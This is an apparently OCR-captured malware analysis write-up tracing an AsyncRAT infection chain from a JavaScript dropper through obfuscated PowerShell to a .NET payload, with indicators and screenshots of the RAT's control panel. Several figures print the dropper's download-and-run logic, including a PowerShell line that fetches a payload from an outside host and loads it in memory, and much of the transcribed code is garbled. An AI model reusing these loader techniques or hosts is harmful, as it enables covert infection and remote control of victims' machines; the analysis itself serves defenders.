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Sample:

17a59db3541270147d5da27aa7978a3c

BackgroundPermalink

AsyncRAT is a Remote Access Tool (RAT) designed to remotely monitor and control other computers through a
secure encrypted connection. It provides functionality such as keylogger, remote desktop control, and many other
functions. In addition, AsyncRAT can be delivered via various methods such as spear-phishing, malvertising,

exploit kit and other techniques.

Static AnalysisPermalink

Database Entry

Intelligence @@ 10Cs YARA File information Comments
SHA256 hash: 0235537e89dc75052967f8ecf0dc6f0a57e5b078157409f34427d8d60720a7dd
SHA3-384 hash: [0 49f49a53a14533f7084d4dcce4406d5239f0743a73b28590fb05a11f2b4692ae36ede262b082119fc795(26202765078
SHA1 hash: [0 84e70deefi3d3e98346feadfce35efc505eb0be7
MDS5 hash: [0 17259db354f270147d5da27aa7978a3c
humanhash: @ enemy-beer-triple-virginia
File name: Documento.js
Download: B download sample
Signature ® ‘
File size: 2°415 bytes

Figure 1: Malware Bazaar Entry

This sample was initially uploaded from the Netherlands and has since spread, with notable activity observed in
Israel and the United States.
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) Goin (")
2 var graptolites = new ActiveXObject(crimine) ;

4 var creodonta =
“q

(¥ HB OV ernon(, & S DIVée-me SR : - AullVAL S Eacm oo, & }wA,Iveﬁ/,rm: 1L —I\/ee-/mm—
oo, i g D|V€ﬂ'sruD -, I F DIVéﬁ-truD POV Gernin, ¥ HE. *lvea m,D (,§ |-W *I\/eﬂ-emu ~{, FF
|-@ olv- €8druD 1 OIVSE/ roo0 }W \V<@mmrm (, |-W *Ive'@ B Dlveﬁ-dmu |-W olV-

5

6

7 var echinoderm = " L FHB.OWVSBopenrnn.(, i" 1.0 \V%e" Spllt("I’IIDD CBOIVIB . ]Oln("")
8  var chebbo = "r [ OV sendrnn..{, i . it (" |-w OV .join("") ;

9  var dadas = "rumld OIV~<@responseTextrnil Spllt( r'LLD oIV . joln( ")
10  var hueless = "rm[] & -0V FunctionrmO .split ("m0 OIV<E") .join (") ;
11

12 graptolites[echinoderm] ("GET", creodonta, false);

13 graptelites[chebbo] () ;

14

15 new this[hueless] (graptolites[dadas]) () ;

16

Figure 2: First Stage Code

1  var crimine = "MSrmC.. |-w OVXML2 . Syoi0.-(, ¢ @OV~ ferverruin-.(, | RGOV~ GxMLra0--(, | [@-OIVHTTE" . split ("rmil.-(, ¢ @OV

BR < ull'E ee-pmu
Werno.(,
o, Brroio-(, i .0
OIS ermon.g, I-W DW*B‘meZHL 5'|-W Dlvee-MmDDq LB OV / roO0( ¢ I-W olv<for. Spllt("r'ﬂDD C OIS T) L doin(

The first stage uses a relatively simple split and join technique to construct a new string. To disable the original

functionality and observe variable values, I modified the code to use console.log, as shown in Figure 3.

=] =

~

) -Join("");
2 var creodonta =
“q

3 | var echinoderm = " ~(, i HE . OIVBopenrnO.(, i HEOIVIB " .split (" o0 P HBOIVEB ) LGoin() ;

4 | var chebbo = "r 1.0V B sendrmin., & VG . split ("pm0.(, OV .join("") ;

5 | var dadas = "ro0 & 0IV<BresponseText F B OIS split ("rm] C OIS Ljoin (M) ;
6 | var hueless = "yni0.~(, i H.OIVSHFunctionyniD OIS split ("ro00e, P ROV ) Ljoin (") ;

7

8

El console.log("crimine: ", crimine);

10 console.log("creodonta: ", creodonta);

11 console.log("echinoderm: ", echinoderm) ;

12 console.log("chebbo: ", chebbo) ;
13 console.log("dadas: ", dadas);
14 console.log("hueless: ", hueless) ;‘

Figure 3: Disarmed JS Code

1 | var crimine = "MSyoil.(, ¢ RGP ONVFXML2 . Syoio--(, ¢ R@-OV-erverruil..(, ¢ G0N~ TFxMLro00.(, ¢ @OV fFHTTE" . split (" roiD-(, © @0V

OV Bt rm FHPOVSB e FHE D|V€'8'prqu, O . |\/€'8/rmD @OV €'8'prfﬂD

|\/€@a1m 0., ¢ D|V€'8'srmD’ q, & A IVQBtrﬂD I-w D\V%‘B‘erm,ﬂ f 3 |- ol er ¢ R IVée'er'TJD (¢

B /mo0:. @OV €e'dr'uD FIY: < X Dlvee-/m-_rum }W \Veﬁmm EXIRR: - Yl 0. |-W Dlveedrmm OV rroao-(, " .0
OV~ 6rm0..(, |-W Dlveeprmu, |-W D|V€6MrfﬂDD {3 }w VS / po0q, .'|-W *Ive@o Lsplit (" mDD SRR - RRIIVAL 5 X0 jOLn(

In addition, I used a neat trick: I opened the browser’s developer tools and ran the code directly there to observe

the output, as demonstrated in Figure 4.
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. 'k [0 Elements Console Sources > @7 B1 & i X
M @ tpvy @ Y Filter Default levels v
1 Issue; B 1 @3

> var crimine = "MSrufEEE: HE BIVHXML2 . SrusEER: [ BTV

Gerverrumzzz: [ BV L rupEEe: HE a1V

HTTP".split("ruzcEE: [ BTV ). join("");

var creodonta = "hruEEEE; IW,_EIV—!?'@trjuEIEIEIE@'IW_EIV—J&

try=EEe; | Brv<@pruzeee; [ Brv< : ruzEee; [ BV

rugEEE; |G BV /ruzzees [P arv<Sprusese; [ BV

aruZEEE: HE BV B srupzEa: B BV S trupeme: HE Brv-f

eruZEEE: HEh BV . ruEEEE: HE BV erupzmm: [ 2V

ery==EE; | v /ruzEee; [ Brv<Gdruzeee; [ EvB/

ruEEE; |G Brv-Gmruyzzze; [P arv<Serusee; [ BV

druzEEE: HE BV B rruEzEa: B BTV hrupeme: HE Brv-f

6ruzEEE: [ BV~ G pruzeee; [ BIV< §Mruseee; [ BV /

ruEEEE: | Bv<fhe  split("rupEEe: | BTV

&) Join(""); | |

var echinoderm = "puBEEEE: I-W,_EI‘;’-ﬂﬁopenr;uEElElEli' I-@,_EIIV-‘#

& . split("rugEEEi HP BIVIS ") . join("");

var chebbo = "rufEEE: HE BV~ sendrusmmm: | BTV

& . split("rugEEEi HP BV ") . join("");

var dadas = "ruEEEE: I-@AEIIV-'-?'BPespunzeTextruEIEEIEIi' I-w

BV split("ruEeEai [P EVI@ ) . join("");

var hueless = "puEEEE: }@_EII‘-.-’-\"'&FunctiunrruEIEIElEi'}W_EIV-\"-

& . split("rugEEEi HP BIVIS ") . join("");

console.log("crimine: ", crimine);

console.log("creodonta: ", creodonta);

console.log("echinoderm: ", echinoderm);

console.log("chebbo: ", chebbo);

console.log("dadas: ", dadas);

cnn5ole.lu§{“huele55: *, hueless);

crimine: MSXML2.ServerXMLHTTP VM235:8

creodonta: http://paste.ee/d/mbdrhepM/@ VM239:9

echinoderm: open VM239:18

chebbo: send WM239:11

dadas: responseText VM239:12
Areme hueless: Function VM239:13

Figure 4: Dev Tool Code

These results uncovered a Pastebin URL used to retrieve the second stage of the malware.
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Second StagePermalink

The Second stage features heavily obfuscated code, containing around 7,500 lines, intended to obstruct analysis

and evade detection. As shown in Figure 5, this snippet represents a small segment of the heavily obfuscated code.

2 var belletristic = ([1+[ ([]["acroceraunian”]+[])[0] + ([1L 1 atively"]+[1) [2] + ([1["squintifego”]+[1)[3]1 + ([1["MSTID"1+[])[2] +
([1["unwrapped"1+01) [°1 + ([1["waterboards"1+[1) [6] + ([]1["pantopodMap"l+[1)[7]1 + ([1["glimse"I+[1)[°] + ([1["slice”]+[1) [911 ["MSTID"1) [O1;

3 var Bunya ([1+0 ([1["ac n"1+[1) [01 + ([1["pantopod”1+[1) [1]1 + ([1["conatively”l+[1)[2] + ([I1["squintifego”l+[1)[3]1 + ([1["MSTID"1+[1) [4]1 + ([1L
"unwrapped"1+[1) [51 + (11 Tds"14[1) [€1 + ([1["pantopodMap”l+[1) [71 + ([1L" q imse"1+ 1) [E] + ([1[7slice™1+[1) [°11 ["acroceraunian”]) [11;

4 var manati a1 unian"1+01) [0 + ([1["pantopod”1+[1) [11 + ([1 "1+ [2] + ([1[7squintifego”1+01) [31 + ([1["MSTID"1+[1)[4]1 + ([1[
“unwrapped" 1+ [51 + (110 rds"1+[1) [6]1 + ([1["pantopodMap”I+[1) [71 + ([1 [“q lmﬁ‘="]+[])[ 1 + ([1[7slice™1+[1) [911["pantopod”]) [21;
5 var photosantonic = ([1+[ ([]

acroceraunian”l+[1) [01 + ([1["pantopod”1+[1)[1] + ([1["conatively"1+[1)[2] + ([1["squintifego”]+[1)[3] + ([I1["MSTID"I+[1)[4]1 +

(L1 "unwrapped"1+[1) [51 + ([1["waterboards"1+[1) [61 + ([1["pantopodMap”I+[1) [71 + ([1["glimse"1+[1) [8] + ([1["slice™]+[1) [21]["waterboards"]) [31;

6 var separately = ([1+[ ([l["acroceraunian™l+[1) [01 + ([1["pantopod”l+[1) [11 + ([I1["conatively"1+[1) [2] + ([I1["squintifego”l+[1) [31 + ([I["MSTID"I1+[1)[41 + ([1L

"unwrapped"1+[1) [51 + (I10" rds"1+[1) [€1 + ([1["pantopodMap"I+[1) [71 + ([1["glimse"1+[1) [9]1 + ([1["slice”]+[1) [911["some"1) [41;

1 var passers = ([1+[ ([1["ac unian"1+01) [0 + ([1["pantopod"1+[1) [11 + ([1["conatively"1+[1)[2] + ([1["squintifego”1+[1) [3]1 + (L1["MSTID"I+[1)[4]1 + ([1[

"unwrapped"1+[1) [51 + ([1L rds"14+[1) [6]1 + ([1["pantopodMap”l+[1)[7]1 + ([1["glimse"1+[1)[2] + ([1["slice”]1+[1)[°1]1["conatively"])[2];

8 var nontipped = ([ ([1["ac unian”1+[1) [01 + ([1["pantopod"l+[1) [1]1 + ([1["conatively”1+[1)[2] + ([1["squintifego"1+[1)[31 + ([1["MSTID"1+[1) [4]1 + ([1L

"unwrapped”1+[1) [51 + (L rds"14[1) [6]1 + ([1["pantopodMap”l+[1)[7]1 + ([1["glimse"1+[1)[2] + ([1["slice”]+[1) [°11+[1["slice"]) [5];

9 var cookers = ([1+[ ([I[" unian”1+[1) [0 + ([1["pantopod”l+[1) [1]1 + ([1[" atively"1+I1) [2]1 + ([1["squintifego”l1+[1) [3]1 + (L[1["MSTID"I+[1)[4]1 + (I1L

"unwrapped”1+[1) [51 + (I1L rds"I1+[1) [6]1 + ([1["pantopodMap”I+[1) [7]1 + ([1["glimse"1+[1)[2] + ([1["slice”]1+[1) [91]["unwrapped”])[©];

10 var animally = ([ ([1["acroceraunian”]+[1)[0] + ([]1["pantopod”l+[1)[1] + ([1["conatively"l+[1)[2] + ([1["s ntifego”l+01) [2]1 + ([I["MSTID"1+[1) [4]1 + ([1L
"unwrapped”1+[1) [51 + ([1["w rds"1+[1) [6]1 + ([1["pantopodMap”l+[1)[7]1 + ([1["glimse"]1+[1)[°] + (I] ["slice”1+01) 9 11+[1["glimse™ 1) [71;

11 unian”1+[1) [01 + ([1["pantopod"]1+[1) [11 + ([] 1401 [2]1 + ([1["squintifego”l+[1) [31 + ([1["MSTID"I+[1)[41 + (I[1L
rds"1+[1) [6]1 + ([1["pantopodMap”I+[1) [71 + ([1["glimse"1+[1)[2]1 + ([1["slice”]+[1) [91]["perspicaciously”1) [2];

12

13

14 var playwrights = ([1+[Infinityl[+[11)[01,

15 aplanatism = ([1+[Infinityl [+[11)[11,

16 proferring = ([1+[Infinity]l [+[1D) [71,

17 plowk = ([1+[Infinityl[+[11)[31,

18 halftones = ([1+[Infinityl[+[11)[1,

19 pulicidae = ([1+[Infinityl[+[11)[°1,

20 seichometer = ([1+[Infinityl[+[11) L[],

21 gaols = ([1+[Infinityl[+[11)L71,

22 embolismic = ([1+[Infinityl [+[11)[°],

23 ampac = ([1+[Infinityl[+[11)[°]1;

24

25 var belletristic = ([1+[ ([l["acroceraunian”]+[1)[0]1 + ([1L 1401 [11 + ([1["conatively”1+[1) [2] + ([1["squintifego”l+[1) 31 + ([1['MSTID"1+[1) [4] +
([1["unwrapped"1+[1) [51 + ([1["waterboards”1+[1) [1 + ([1["pantopodMap”l1+[1)[7]1 + ([1["glimse"I1+[1)[5] + ([1["slice”]1+[1) [211["MSTID"1)[0];
26 var Bunyan = ([1+[ ([1["ac raunian”1+[1) [0]1 + ([1["pantopod”]+[1) [11 + ([1["conatively"1+[1)[2] + ([1["squintifego”l+[1)[31 + ([1["MSTID"I1+[1) [4] + (LIL v

Javasariptfile length s 1,367,630 _lines s 7459 Ln:7459 Col:308 Pos: 1367631 Windows (CRLF)  UTF-8 INS.

Figure 5: Obfuscated Code

The majority of the obfuscation techniques involved injecting junk code to mask the malware’s original
functionality. After removing the junk code, what remained was a simple function that modifies a string and a long

string. In the final step, the code is executed using WScript as shown in Figure 6.

1 D

2 function syncranteric(cicisbeism) {

3 var faitor = "rmio.(, i HEOIVIE;

4 var gusli = cicisbeism.replace (new RegExp(faitor, "g"), "");

5 return gusli;

6 }

7

8 var gutterball = "JinflicterBzinflicterHUinflicterZwBhinflicterG4inflictercwinflicterginflicterDOinflicterIinflicterinflicterninflic

9 gutterball = syncranteric(gutterball); EI

10

11 var saccomyoid = "ru0.(, I HELOW~SGprnoo.(, i MOV Bowrnoon(, i HB.OVIS "

12

13 | saccomyoid B oIV sroO0 alv<r;

14 | saccomyoid }@i\veemmﬂ::.{ 1P OlVSfror;

15 saccomyoid 1 ®.o &GOV

16 saccomyoid f@ﬂl\/ﬁ@'mrﬂﬂ W /¥ B marm IOV

17 saccomyoid H OIS\ " ro00 SOV B sCrmm IOV rormD 1B OVIB

18 saccomyoid V4@igo = ro00~(, i HB.OIVG 1 ;

1% saccomyoid

20 saccomyoid += "$0Wrm] “ 1P OV B stem. prO0(, OV TexpmOn(, i |-WAD|V €6‘t

21 saccomyoid " [Con B :FromBase6r f@ﬂlV%ﬂ'ﬁl\trlnq (M.

22 saccomyoid "I (% }wADIVWB'r,V:)m:L,D A, POV B ke—Exprrmn.(, i HE.O %’@'esriﬂ,

23 saccomyoid = syncranteric(saccomyoid) ;

24

25 var sexpert = WScript.CreateObject ("WScript.Shell") ; |

26

27 sexpert.Run(saccomyoid, 0, false);

28

29

30 sexpert = null;

31 v
< >
Javascriptfile length: 12,427 _lines: 31 Ln:25 Col:1 Pos: 12315 Windows (RLP)__UTF-8 INs

Figure 6: Clearing The Code

Using CyberChef, I was able to replicate the functionality of the previously observed string manipulation. This
revealed the type of manipulation applied to the long string: it replaces a specific word with the letter ‘A’ and then

decodes the result from Base64.
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Operations Recipe ~ 0 mE  nput
H < H BV sruyBer
repl X A n ruzess; | o6 L2 r
P e ® 1B arv<@nruzees: [ BV oPruseza;
Find / Replace Find 1 21V Gmrupe
g | @ o148 ReGex
Randomize Colour Palette Souruzmza [ 51v <8 juxd -
Replace Global match EV<®ncoryzaEa; g EIv<dinryzaE; [ UniruEEEE; g BIv< §cruzeEmi [E BV frode. GerummEes B
From Quoted Printable 3 - K9 BV Bng( [Conruzzams | BTV fverusame; | BIVfrt]: :FromBase6ryfEEm; vy
i |8 Ev<Bo.Replaruzaes; [ BV ce (" inflicterruEEz: HE BIVS
Bit shift right . . - - - S e
[ Case insensitive Multiline matching : 1 ErviBke-Exprrueeee; | BV esruze
BV sion $0uruEEEE; HE BIVE jurusees; HE Brvfxd\
ROT8000

Remove Diacritics [ Dot matches all

SHAD -2 =2 Tr Rou bytes € LF
Streebog Output anm::
Substitute powershell -NoProfile -Command \"\"$Codigo = "

$0Wjuxd =

Favourites * [System. Text .Encoding] : :Unicode. GetString([Convert ]: : FromBase64String($Codigo. Replace( " inflicter’, 'A')));
[Invoke-Expression $O0Wjuxd\"\"

Data format
Encryption / Encoding
Public Key

Arithmetic / Logic

Networking
STEP 4a BAKE!
Language Auto Bake
w12 T2 Q192 @ 315 Tr UTF-8 (detected) & LF

Figure 7: CyberChef Extraction

Next, I took the long string and applied the manipulation uncovered earlier, which revealed what appears to be a

reversed URL, as shown in Figure 8.

Operations Recipe ~ B8 T nput +03 8
JinflicterBzinflicterHUinflicterZuBhinflicterGainflictercuinflicterginflicterD@inflicterTinflicterinflicternin
remov Find / Replace ~0n . s o s R R P . .
flicterDinflicterinflicterLwBGinflicterHUinflicteriuB3inflicterGkinflicterdQBKinflicterDEinflicterLuBkinflicte
rC8inflicterZQBlinflicterCAinflicterZQinflicter]inflicterHilinflicterYQBuinflicter(8inflicterluinflicter6inflic
Remove EXIF find Replace
inflicter REGEX - terHitinflictercinflicterinflicterjinflicterCiinflicterainflicterinflicterninflicterDsinflicterinflicterBuinfl
N - icterHUinflictercgBzinflicterHkinflicterTinflicterinflicter9inflicterCinflicterinflicterdinflicterBzinflictert
emove bracritics UinflicterZuBhinflicterGdinflictercuinflicterginflicterCOinflictercgBlinflicterHinflicterinflicterbinflicterBh
Global match  [] Case insensitive Multiline matching inflicterGMinflicterZQinflicterginflicterCcinflicterTwinflicterninflicterCuinflicterTinflicterinflicterninflic

Remove null bytes ‘terHQinflicterJuinflicter7inflicterCQinflicterZinflicterBlinflicterHMinflicterbQBvinflicterGkinflicterZinflict

erinflicterginflicterD@inflicterIinflicterinflicterninflicterGginflicterdinflicterB@inflicterHinflicterinflict

Remove whitespace ercwinflicter6inflicterC8inflicterluBhinflicterHIinflicterYuBoinflicterGkinflicterdgBlinflicterC4inflicterbuBy

[ Dot matches all

inflicterGeinflicterluBkinflicterG8inflicterdwBuinflicterGuinflicterbuBhinflicterGQinflicterlwBuinflicterGUinf

Remove line numbers licterdwBfinflicterGkinflicterbQBhinflicterGcinflicterZQBfinflicterDIinflicterMinflicterinflicteryinflicterDUi
~ ® n nflicterMinflicterinflicter@inflicterDEinflicterMwinflictervinflicterG4inflicterZQB3inflicterF8inflicteraQBtin
Defang IP Addresses FemE=t flicterGEinflicterZwBlinflicterC4inflicteragBwinflicterGecinflicterJwinflicter7inflicterCQinflicterdQBuinflicte
Alphabet rGwinflicterbwBhinflicterGQinflicterIinflicterinflicter9inflicterCinflicterinflicterTgBlinflicterHcinflicterlLQ
Fang URL A-Za-20-94/= - Remove non-alphabet chars . we saso = 1 Tr Rou bytes € L7
From BaseS8 Output B0 m

[ Strict mode

| $sugans = "0/Fu3uiull/d/ee.eisap//:sp##h;$pursy = $sugans -replace '#' ) "t';§desmo:

Strip HTML tags
“https://archive.org/download/new_image 20250413 /new_image.jpg ;sunload - New-Object

Strip HTTP headers e ot byies ~ © 1l System.Net.WebClient;Sunload.Headers.Add(User-Agent’, Mozilla/5.0");$talliate =
$unload.DownloadData ($desmoid) ;$Feroxyhyte = [System.Text.Encoding]: :UTF8.GetString($talliate);$gallian =

To Base58 *<<BASE64_START>>*;$honeysuckles = '<<BASE64_END>>";$luging - $feroxyhyte.IndexOf (Sgallian);$defibrillate =
$feroxyhyte. IndexOf ($honeysuckles);$luging -ge @ -and $defibrillate -gt $luging;$luging +=

U $gallian.Length;$eusiphonia = $defibrillate - $luging;$magpie = $feroxyhyte.Substring($luging,

$eusiphonia);$hypocritically = [System.Convert]::FromBase64String($magpie);$nastus =
* [System.Reflection.Assembly] ::Load($hypocritically);$concretized =

[dn1ib.10.Home] .GetMethod ("VAI"). Invoke($null, [object[]]

@($pursy,'1',"C:\Users\Public\Dounloads', 'Badalona’, 'MSBuild', ", " ", ", "*, ", ", 4s", ", ",

Favourites

Data format
Encryption / Encoding
STEP
Public Key Auto Bake =

Figure 8: CyberChef to decode the string

@ sms T ures o LF

Downloading the content hosted at that URL revealed a long, reversed Base64-encoded string. After decoding it, a

new executable file was uncovered, as shown in Figure 9.
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Operations Recipe ~Omi
reve Reverse ~0n
Reverse By

Character
Remove EXIF

From Base64 ~ 0

Remove Diacritics

Alphabet

Remove null bytes A-Za-70-9+/= - Remove non-alphabet chars

Remove whitespace

[ Strict mode
Remove line numbers
Derive EVP key
ECDSA Signature Conversion
From Case Insensitive Regex
Parse IPv4 header
Parse IPv6 address
Bombe
Disassemble x86
Randomize Colour Palette

*

Favourites

Auto Bake

Data format

Input +03§ =
©0AAAUBKAAQC +DgL gAAAAAAOKAAAWg 1 AAAAAAG § BAEWC 5GqCC AAAAA
AEA, ARA, AAAT, ABA, FQGFUr« IYOEIKOGDzIREzUrdigRTg4GamJ1QEFPR2wgmd
VSCOEUep4fdrMtwtQua5+1FAI SrcRUDESCBIXK32dea! +/dxAQSaL. RRLy+1VB+// AAAAA
ulIB+,  IxAdTAUO JBAAAAAAA, 41 t072r0yXz9T q ThdF9, IZNM/TCaOr

S5In0kK/£19pICREZqV19ho8hv5bnZ5ZTNOSQAL dUALYDThHG 165 yme Zsv/yLc 2v7Sgtk3PnKp+q yhxZFg/rfOCLoKMpAZvIQ
28/+04n64pXQRaRR7GXADHOBNHYATh3s5nP9+ T jdomHoAERXUN/CE d1utHrqepVUADOSAZVHITHS 00T nm300 2PmxHi5aQGhI Iy 11++/ /bF71E
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Figure 9: Outputs New EXE

Third StagePermalink

The third stage of the malware is written in .NET and is most likely the unpacked version of the final payload.

Detect It Easy v3.08 [Windows 10 Version 2009] (x86_64) — Od >
File name
|E| |C:‘lesers‘l,ﬂx‘l.DownIoads‘\ouu]Jt.bin | | |
File type File size Base address Entry point V! Advanced
|PE32 || 76.00 KiB | | 00400000 [ 004147ee I » | ———
—— | Demangle |
| File info | | Memary map | | Disasm | | Hex | | Strings | | Signatures | | VirusTotal |
| MIME | | visuglizaton || Search || Hash || Entropy || Extractor ||  YaRA |
| PE | Export | Import | | Resources | | MET | LS Overlay
Sections MET ID Size of image Resources
. o003 || > || cBOOEFOT | 0001a000 | Manifest || Version |
Scan Endianness Mode Architecture Type
| Automatic ~ e || szt | 1336 I GUI |
= PE32
Operation system: Windows(95)[1386, 32-bit, GUI] 5 ?
Linker: Microsoft Linker 5 H
Compiler: VB.MET 5 7
Language: BASIC 5 H
Library: MET{w4.0.30319) 5 7 | Shortouts |
Protector: \MET Reactor(B.X) 5 ? e —
Protector: Smart Assembly(8.0.4.4860) S ? | options |
| signatures | [v/| Recursive scan || Deep scan Heuristic scan || Verbose | About |
— Scan —_—
| Directory | | Log | All types |i| | 139 msec | Exit |

Figure 10: Using Detect it Easy
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Figure 11 highlights the capabilities of the RAT, including C2 communication, code execution, debugging

features, and more.

se APT [C0021.003

ng-Standard
tion-Standar

Figure 11: Capabilities Of The RAT

Given that the malware was written in .NET, I used dnSpy to decompile and analyze the code, which allowed me

to extract the full configuration, as presented in Figure 12.
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100 % |~

Watch 1 -

Locals

Figure 12: Settings Configuration Of AsyncRAT

As expected from a RAT, it also collects various environment details such as the hostname, user ID, and more.
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strToHash)

=tringBuilder;

100 % -

returned
returned
returned
returned
returned
returned

returned

Client.Helper. s returned

Watch 1

Figure 13: System Information
Dynamic AnalysisPermalink

Once executed, the RAT attempts to establish a connection on port 5090 at regular intervals, as observed in

TCPView and shown in Figure 14.

«% TCPView - Sysinternals: www.sysinternals.com

File Edit View Process Connection Options Help

C O|F| Q| 4 cpw A A wews Auoevs [ oum |

Process Mame Process ID Protocol State Local Address Local Port  Remote Address Rernote Port Create Time  Module Name

Figure 14: TCPView Output

The network communication can also be observed using Wireshark, providing further insight into the RAT’s

connection attempts.

[ |dns

No. Time Source Destination Protocol Length Info
2 4.989438598 10.0.0.4 10.0.0.3 DNS 91 Standard query @x55ad A deadpoolstart2050.duckdns.org
3 4.996961311 10.0.0.3 10.0.0.4 DNS 107 Standard query response @x55ad A deadpoolstart2056.duckdns.org A 10.0.0.3

Figure 15: Using WireShark

IOCsPermalink
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e Hash:

17a59db354270147d5da27aa7978a3c
40fb01ac9879cf7eale9a375bd525a66

« URL

hxxps://paste[.]ee/d/1Juiw3uF/0
hxxps://paste[.]ee/d/mbdrh6pM/@
deadpoolstart2050[ . Jduckdns[.Jorg

Curious about what AsyncRAT looks like from the attacker’s perspective? The following images provide a

glimpse into the control panel of the AsyncRAT server, highlighting some of its core functionalities.

) AsyncRAT05.2  11:23:45 PM — O *
Clients Logs Thumbnail Tasks
IP Address Country Group  HWID Usemame Operating System Payload Version  Installed Privleges ~ Anti-Virus Software  Ping

[ 2 [1270015090 Locatost Defaut | NENRRMENEEEN o Windows 10 Pro 645t 0.5.8 B - Vindons Defencer 01S

Figure 16: RAT GUI

@ Visit Website

Send MessageBox

Goy chat
e Get Admin Privileges
i ,%l Blank Screen 3

Dizable Windows Defender

Set Wallpaper

1%,

Figure 17: RAT Options

Remote Desktop

.IH

Keylogger
Password Recovery
File Manager

Process Manager

1@ S @

l% Report Window 3
@ Webcam

Figure 18: RAT Options

Page 10 of 11



https://Oxmrmagnezi.github.io/malware%20analysis /AsyncRAT/

Bots Killer
@

LSE Spread

Seed Torrent

Remote Shell
@ DOS Attack
i Execute MET Code i

IE Files Searcher

Figure 19: RAT Options

Source: https://0xmrmagnezi.github.io/malware%20analysis/AsyncRAT/
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